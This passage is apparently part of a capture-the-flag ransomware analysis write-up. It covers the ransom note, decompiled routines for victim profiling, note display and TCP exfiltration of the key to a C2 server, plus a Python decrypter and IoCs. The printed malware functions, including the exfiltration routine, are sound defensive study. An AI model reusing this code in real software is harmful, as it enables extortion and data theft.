1: Pay 2000$ worth of bitcoin to this address : bc1qntgwduujdjnfv6txwxugdsx6nw5mfhgqa4nn82
2: Send me an email containing the ID below to the following address and i'll contact u soon : nebilij251@rencr.com .

ID = {}

III - What not to do ?
1- Please dont change the filename of any encrypted file in your computer.
2- Dont waste Your time searching for free decryptors , I've Encrypted all your files with a very strong algorithm.

Good Luck !!!!!!!!!!!!!

This note gives us crucial Indicators of Compromise (IoCs):

  • Bitcoin Address: bc1qntgwduujdjnfv6txwxugdsx6nw5mfhgqa4nn82
  • Contact Email: nebilij251@rencr.com We can also clearly see the {} placeholder where the malware will dynamically inject the victim’s unique ID (and likely the Base64 AES Key) using string formatting APIs before dropping the final Important.txt file to the disk.

Before the ransomware can drop the final ransom note or exfiltrate data to its C2 server, it needs to populate the specific details to fill in the JSON placeholders we found earlier ({‘Name’ : %s , ‘Computer’ : %s , ‘Proc’ : %s , ‘Key’ : %s , ‘Id’ : %s}).

This exact task is handled by sub_1400022C0. Let’s look at the fully reverse-engineered and annotated function:

__int64 *sub_1400022C0() //rename to Gather_SysInfo_And_Generate_ID
{
  __int64 v1; // [rsp+30h] [rbp-58h]
  __int64 v2; // [rsp+38h] [rbp-50h] BYREF
  __int64 v3; // [rsp+40h] [rbp-48h] BYREF
  int v4; // [rsp+48h] [rbp-40h] BYREF
  __int64 Random_Bytes; // [rsp+50h] [rbp-38h]
  __int64 v6; // [rsp+58h] [rbp-30h]
  __int64 v7; // [rsp+60h] [rbp-28h]
  __int64 v8; // [rsp+68h] [rbp-20h]
  __int64 v9; // [rsp+70h] [rbp-18h]

  v2 = 0;
  v1 = Heap_Alloc_private(32);
  Random_Bytes = Generate_Random_Bytes(0x20u);
  v4 = 32;
  if ( !qword_14000EAC8 )
    Init_advapi32_Base();
  v8 = Get_User_Name();
  v7 = Get_CPU_Info();
  v9 = Get_Computer_Name();
  if ( (unsigned __int8)Call_CryptAcquireContextA((__int64)&v2, 0, 0, 0x18u, -268435456) )
  {
    if ( (unsigned __int8)Call_CryptCreateHash(v2, 32780, 0, 0, (__int64)&v3) )
    {
      if ( (unsigned __int8)Call_CryptHashData(v3, Random_Bytes, 32, 0)
        && (unsigned __int8)Call_CryptGetHashParam(v3, 2, v1, (unsigned int)&v4, 0) )
      {
        v6 = ObfuscateAndBase64EncodeAESKey_0(v1);
        Free(v1);
        qword_14000EAB8 = v6;
      }
      else
      {
        Call_CryptDestroyHash(v3);
        Call_CryptReleaseContext(v2, 0);
        Free(v1);
      }
    }
    else
    {
      Call_CryptReleaseContext(v2, 0);
      Free(v1);
    }
  }
  else
  {
    Free(v1);
  }
  qword_14000EAB0 = v7;
  qword_14000EAA0 = v8;
  qword_14000EAA8 = v9;
  Free(Random_Bytes);
  return &qword_14000EAA0;
}

The function executes in two distinct phases:

Phase 1: System Profiling The malware calls three dedicated helper functions to extract the victim’s hardware and account identity. By resolving the API hashes hidden inside these wrappers using our Python script, we can see exactly how it gathers this data:

  • Get_User_Name(): Resolves hash 0x5F53B1FD to dynamically load GetUserNameA from advapi32.dll.
  • Get_Computer_Name(): Resolves hash 0xA5226BA7 to dynamically load GetComputerNameExA from kernel32.dll.
  • Get_CPU_Info(): Does not use a Windows API. Instead, it executes the cpuid assembly instruction multiple times to fetch the 48-byte CPU brand string (e.g., “Intel(R) Core(TM) i7-10750H CPU”).

Phase 2: Cryptographic ID Generation To accurately track the victim and pair them with their decryption key on the attacker’s server, the ransomware generates a unique Victim ID using the Windows CryptoAPI suite from advapi32.dll:

  1. It generates 32 completely random bytes in memory.
  2. It dynamically resolves CryptCreateHash (hash 0xFEEE300E) and passes the constant 32780 (0x800C), which instructs the API to create a SHA-256 hash object.
  3. It resolves CryptHashData (hash 0xAC2FE938) to hash the 32 random bytes.
  4. It resolves CryptGetHashParam (hash 0x559DFAA9) to extract the final, raw 32-byte hash value.
  5. Cleanup routines also dynamically resolve CryptDestroyHash and CryptReleaseContext. Finally, the malware passes this raw 32-byte SHA-256 hash into the Base64 encoding wrapper we analyzed earlier (CryptBinaryToStringA). The resulting Base64 string becomes the final Victim ID (qword_14000EAB8).

The malware then saves all of these profiled strings into global variables. This data is now perfectly staged in memory and serves two distinct purposes:

  1. Data Exfiltration: The entire set of profiled data (Username, Computer Name, CPU Info, Victim ID, and the encrypted AES Key) is bundled into the JSON payload template to be sent to the C2 server. We will verify this exact exfiltration activity later during our network PCAP analysis.
  2. Ransom Note Injection: The Base64-encoded Victim ID specifically serves as the unique identifier that gets injected directly into the {} placeholder of the Important.txt extortion message we decrypted earlier.

With the Victim ID successfully generated and sitting in memory, the malware needs to inject it into the Important.txt extortion message before dropping it to the disk. This is handled by sub_140003000.

Interestingly, instead of using standard C string formatting APIs like sprintf, the ransomware author opted for a completely manual memory manipulation routine:

_BYTE *sub_140003000() // rename to Format_Ransom_Note
{
  unsigned int v0; // eax
  int v1; // eax
  int v2; // eax
  int v3; // eax
  int i; // [rsp+20h] [rbp-48h]
  _BYTE *v6; // [rsp+28h] [rbp-40h]
  int v7; // [rsp+30h] [rbp-38h]
  _BYTE *v8; // [rsp+38h] [rbp-30h]
  _BYTE *v9; // [rsp+40h] [rbp-28h]
  _BYTE *v10; // [rsp+48h] [rbp-20h]

  for ( i = 0; i < 796 && byte_14000EAF0[i] != 123; ++i )
    ;
  v8 = (_BYTE *)Heap_Alloc_private((unsigned int)i);
  Memcpy(v8, byte_14000EAF0, i);
  v0 = len((_BYTE *)qword_14000EAB8);
  v9 = (_BYTE *)Heap_Alloc_private(v0);
  v7 = len((_BYTE *)qword_14000EAB8);
  Memcpy(v9, (_BYTE *)qword_14000EAB8, v7);
  v10 = (_BYTE *)Heap_Alloc_private((unsigned int)(794 - i));
  Memcpy(v10, &byte_14000EAF0[i + 2], 794 - i);
  v1 = len((_BYTE *)qword_14000EAB8);
  v6 = (_BYTE *)Heap_Alloc_private((unsigned int)(v1 + 794));
  Memcpy(v6, v8, i);
  v2 = len((_BYTE *)qword_14000EAB8);
  Memcpy(&v6[i], v9, v2);
  v3 = len((_BYTE *)qword_14000EAB8);
  Memcpy(&v6[i + v3], v10, 794 - i);
  Free(v8);
  Free(v9);
  Free(v10);
  return v6;
}

The logic here is rudimentary but effective. The malware scans the decrypted ransom note byte-by-byte looking for the decimal value 123, which corresponds to the ASCII character {.

Once it finds the start of the {} placeholder, it splits the operation into three chunks:

  1. The Prefix: It copies everything from the beginning of the note up to the { character into a temporary buffer.
  2. The Payload: It copies the Base64-encoded Victim ID (qword_14000EAB8) into a second buffer.
  3. The Suffix: It skips exactly 2 bytes (the { and }) and copies the remaining text of the ransom note into a third buffer. Finally, it allocates a new block of memory large enough to hold all three parts, sequentially copies them in using Memcpy (calculating the exact offsets dynamically), and frees the temporary buffers.

This function returns the fully assembled ransom note, complete with the victim’s unique ID, which is then passed directly to WriteFile in the main endgame function.

Now we arrive at the final execution stage. After the encryption routine finishes, the malware performs its ransomware endgame operations, starting with dropping the fully assembled ransom note to the disk:

// Inside the main endgame function
  result = Call_CreateFileW((unsigned int)byte_14000F0B8, -1073741824, 0, 0, 2, 128, 0);
  v3 = result;
  if ( result != -1 )
  {
    v1 = len((_BYTE *)qword_14000EAB8);
    Call_WriteFile(v3, v4, v1 + 793, (unsigned int)&v2, 0);
    Call_CloseHandle(v3);
    Free(v4);

With all the API hashes finally resolved, this block reads like an open book. The malware calls CreateFileW (using the GENERIC_WRITE and CREATE_ALWAYS flags) to generate Important.txt. It then uses WriteFile to dump the fully formatted extortion message (v4) straight to the disk. Interestingly, we can see the write size (v1 + 793) perfectly aligns with our earlier analysis: it is the exact length of the Base64 Victim ID combined with the 793-byte note template.

Writing the note isn’t enough; the attacker wants to ensure the victim sees it immediately. Before triggering the pop-up, the malware needs to do a quick string conversion because Windows APIs can be strictly typed regarding ASCII vs. Unicode:

    UnicodeToAscii(byte_14000F0B8, v5, 14); // Converts Wide-char "Important.txt" to ASCII
    Display_Ransom_Note(v5);

The UnicodeToAscii function is a rudimentary custom loop that strips the null bytes from the 16-bit UTF-16 wide string (byte_14000F0B8), effectively casting it down to an 8-bit ASCII string.

Once the filename is in the correct format, it is passed to Display_Ransom_Note (previously sub_1400031D0), which reveals a classic ransomware behavior:

__int64 __fastcall Display_Ransom_Note(__int64 a1)
{
  __int64 v2; // [rsp+20h] [rbp-18h]

  if ( !qword_14000EAD0 )
    Init_Shell32_Base();
  if ( !qword_14000F110 )
    Init_user32_Base();
  DecryptString((__int64)byte_14000EAD8, 0xCu); // notepad.exe
  v2 = Heap_Alloc_private(112);
  *(_DWORD *)v2 = 112;
  *(_DWORD *)(v2 + 4) = 0;
  *(_QWORD *)(v2 + 16) = byte_14000F0A8;        // open
  *(_QWORD *)(v2 + 24) = byte_14000EAD8;
  *(_DWORD *)(v2 + 48) = 1;
  *(_QWORD *)(v2 + 8) = Call_GetForegroundWindow();
  *(_QWORD *)(v2 + 32) = a1;
  Call_ShellExecuteExA(v2);
  Free(v2);
  return Free(a1);
}

The malware dynamically resolves Shell32.dll and User32.dll. It allocates 112 bytes the exact size of a SHELLEXECUTEINFOA structure on 64-bit Windows and manually populates its fields. By calling GetForegroundWindow() for the hwnd handle, the malware ensures that when it executes notepad.exe Important.txt, the ransom note forces itself to the absolute front of the user’s screen, overlapping whatever they were currently doing.

With the victim successfully terrorized locally, the malware pivots to its final task: phoning home to the Command and Control (C2) server. Before it opens a network connection, it must bundle the victim’s profiled metadata into the JSON template we decrypted earlier.

This operation is handled by Build_Exfiltration_Payload (previously sub_140007830):

__int64 Build_Exfiltration_Payload()
{
  v6 = Heap_Alloc_private(400);

  v1 = qword_14000EAA0 ? (_BYTE *)qword_14000EAA0 : byte_14000EEE4;
  v2 = qword_14000EAA8 ? (_BYTE *)qword_14000EAA8 : byte_14000EEE4;
  v3 = qword_14000EAB0 ? (_BYTE *)qword_14000EAB0 : byte_14000EEE4;
  v4 = qword_14000EAC0 ? (_BYTE *)qword_14000EAC0 : byte_14000EEE4;
  v5 = qword_14000EAB8 ? (_BYTE *)qword_14000EAB8 : byte_14000EEE4;

  Format_Exfiltration_Template(v6, 400, byte_14000EF60, v1, v2, v3, v4, v5);
  return v6;
}

This function gathers all the staged metadata pointers: the Username, Computer Name, CPU context, the encrypted AES Key, and the Victim ID. It smartly uses ternary operators to apply a default fallback value (byte_14000EEE4) just in case a specific profiling query failed.

These variables are then passed into Format_Exfiltration_Template (previously sub_140007780):

__int64 Format_Exfiltration_Template(char *a1, size_t a2, const char *a3, ...)
{
  _QWORD *v3; // rax
  int v5; // [rsp+30h] [rbp-38h]
  va_list va; // [rsp+88h] [rbp+20h] BYREF

  va_start(va, a3);
  v3 = (_QWORD *)sub_140007770();
  v5 = _stdio_common_vsprintf(*v3 | 2LL, a1, a2, a3, 0, va);
  if ( v5 >= 0 ) return (unsigned int)v5;
  else return (unsigned int)-1;
}

By examining this function, the mystery of the JSON injection is completely solved. It is a standard variadic wrapper that leverages va_start and _stdio_common_vsprintf to dynamically inject the 5 metadata variables into the %s format specifiers inside the JSON template (byte_14000EF60). The resulting structured string is returned as a heap buffer, ready for transmission.

The final stage of the ransomware’s execution flow is Exfiltrate_Data_To_C2 (previously sub_1400079A0), which handles the real outbound communication:

Function Breakdown: Exfiltrate_Data_To_C2

__int64 Exfiltrate_Data_To_C2()
{
  v7 = (_BYTE *)Build_Exfiltration_Payload();
  if ( !qword_14000F380 ) Init_ws2_32_Base();
    
  v4 = len(v7);
  v6 = (_BYTE *)Heap_Alloc_Private(v4 - 2);
  memcpy_0(v6, v7 + 1, (unsigned int)(v4 - 2));
  
  result = Call_WSAStartup(0x202, v10);
  if ( !(_DWORD)result )
  {
    v5 = Call_socket(2, 1, 0);
    if ( v5 == -1 ) return Call_WSACleanup();

    v8[0] = 2;
    v8[1] = Call_htons(8000);
    InetPtonW(2, &pszAddrString, pAddrBuf);
    
    if ( (unsigned int)Call_connect(v5, v8, 16) != -1 )
      Call_send(v5, v6, len(v6), 0);

    Call_closesocket(v5);
    return Call_WSACleanup();
  }
  return result;
}

This routine is a classic “fire-and-forget” network exfiltration mechanism. There is no receive or decrypt path here; the malware simply wants to dump the victim’s data and run.

Before transmitting anything, it intentionally shifts the JSON buffer pointer (v7 + 1) and reduces the length (v4 - 2). This is a common technique used to strip outer formatting wrappers like delimiters or invisible padding from a template before it goes over the wire.

Once the payload is clean, it initializes Winsock 2.2, creates a standard TCP socket (AF_INET, SOCK_STREAM), and connects to the decrypted C2 IP (192.168.1.104) on port 8000. It fires the send API to push the JSON data, cleanly closes the socket, and wipes its network traces with WSACleanup.

With the exfiltration complete, the malware drops back to the main endgame function and gracefully commits suicide via ExitProcess(0).

With the core components analyzed, we can finally look at the fully reverse-engineered main function. The overall execution flow of the ransomware is now clear and straightforward:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  if ( IsAlreadyRunning() )
    Call_ExitProcess(0);
  ProcessChecker();
  ElevationWrapper();
  Disable_System_Recovery();
  Init_AES_Constants();
  InitializeAndRunRansomware();
  Decrypt_Drop_Note_Exfil_And_Exit();
  return 0;
}

The main function dictates the following sequence of operations:

  1. Environment Checks: Ensures no duplicate instances are running and evades analysis/debugging tools (ProcessChecker).
  2. Privilege Escalation: Attempts to bypass UAC to gain administrative rights (ElevationWrapper).
  3. System Sabotage: Disables recovery options by deleting shadow copies and modifying boot configurations (Disable_System_Recovery).
  4. Execution: Initializes cryptographic constants and begins the core file encryption loop (InitializeAndRunRansomware).
  5. Endgame & Exfiltration: Generates the victim ID, drops the ransom note, displays it to the user, and exfiltrates the encryption key via TCP (Decrypt_Drop_Note_Exfil_And_Exit). Now that the static analysis is complete and the exfiltration mechanism is fully mapped, we can pivot to the dynamic analysis phase. The next step is to examine the provided PCAP file to observe this exact network traffic and extract the exfiltrated JSON payload.

To verify our static analysis findings, we can open the provided PCAP file and look for the exfiltration traffic. Based on the decrypted C2 configuration we found earlier, we know the malware communicates over TCP on port 8000 to 192.168.1.104.

By applying the following display filter in Wireshark: tcp && ip.addr==192.168.1.104. We can isolate the exact communication between the infected machine and the attacker’s server. Following the TCP stream of this connection reveals the final JSON payload constructed by the Build_Exfiltration_Payload function

PCAP Analysis

{'Name' : vboxuser , 'Computer' : WINDOWS10 , 'Proc' : AMD Ryzen 7 6800HS with Radeon Graphics, 'Key' : ZcxYj5wFbcbbd4/mDhQRSQMfcqoFsRywp9+qPVeUUwA= , 'Id' : ivIeKXzjdWTq6jrQe/WrgKR07eDhyY4XttK2GY773+U=}

alt text

We successfully intercepted the exfiltrated JSON payload from the C2 traffic, which gives us the highly coveted encryption key (ZcxYj5wFbcbbd4/mDhQRSQMfcqoFsRywp9+qPVeUUwA=). However, if we try to plug this base64 string directly into a standard AES decryption tool, it will fail spectacularly.

Why? Because of the obfuscation routine we uncovered earlier during our static analysis. The malware author didn’t just send the raw key; they actively XOR-ed every single byte of the AES key with 0xBB before encoding it to base64.

Furthermore, analyzing the file encryption routine revealed that the ransomware prepends a custom 17-byte metadata header to every encrypted .naso file. Armed with this complete understanding of the cryptographic flow, we can finally write our decrypter script in Python to automate the recovery:

Building the Decrypter

from Crypto.Cipher import AES
import base64
import os

# 1. The Exfiltrated Key (Obfuscated)
b64_key = "ZcxYj5wFbcbbd4/mDhQRSQMfcqoFsRywp9+qPVeUUwA="
exfiltrated_key = base64.b64decode(b64_key)

# 2. THE MAGIC FIX: Reversing the XOR 0xBB obfuscation
real_aes_key = bytes([b ^ 0xBB for b in exfiltrated_key])

file_target = "Attachement.txt.naso"
file_decrypted = "Attachement_decrypted.txt"

def decrypt_file():
    print(f"[*] Reading encrypted file: {file_target}")
    with open(file_target, "rb") as f:
        file_data = f.read()

    # 3. Extracting the Custom 17-Byte Header
    pad_size = file_data[0]
    iv = file_data[1:17]
    ciphertext = file_data[17:]

    print(f"[*] Custom Padding: {pad_size} bytes")
    print(f"[*] Extracted IV: {iv.hex()}")
    print("[*] Executing standard AES-256-CBC decryption with REAL KEY...")

    # 4. Decrypting the payload
    cipher = AES.new(real_aes_key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(ciphertext)

    # 5. Stripping the padding
    if pad_size > 0:
        decrypted_data = decrypted_data[:-pad_size]

    with open(file_decrypted, "wb") as f:
        f.write(decrypted_data)

    print(f"[+] File successfully recovered: {file_decrypted}")

if __name__ == "__main__":
    if os.path.exists(file_target):
        decrypt_file()
    else:
        print(f"[-] File {file_target} not found!")

Running this script successfully recovers Attachement_decrypted.txt, completing the challenge and officially defeating the ransomware! alt text

Indicators of Compromise (IoCs)

For defensive and detection purposes, here are the extracted artifacts and IoCs from the Lovely Malware analysis:

File Hashes (SHA-256):

  • Update.exe (Main Malware Payload): 83cb5e8b7455fcb3b6c2d45269b08b3ae003dfed4ce8ca942cd007c1ebf17cf2
  • cap.pcapng (Network Traffic Capture): 4390fbbd306c40f48f0eac5211909aa7ab8f50d82506d1563f0ef90a8038fb51
  • Attachement.txt.naso (Sample Encrypted File): 4570133a9f77746d861eadf92c54ec56cb78c026374fe30d8c32a3485b4f8886

Network Indicators:

  • C2 Server IP: 192.168.1.104
  • C2 Port: 8000 (TCP)
  • Protocol: Raw TCP Socket (Exfiltrated JSON Payload)

Host-Based Indicators:

  • Mutex Name: Global\On3_S1d3d_hard
  • Encrypted File Extension: .naso
  • Ransom Note Filename: Important.txt
  • Targeted Directory: C:\Users\*

Extortion Details:

  • Attacker Email: nebilij251@rencr.com
  • Bitcoin Wallet Address: bc1qntgwduujdjnfv6txwxugdsx6nw5mfhgqa4nn82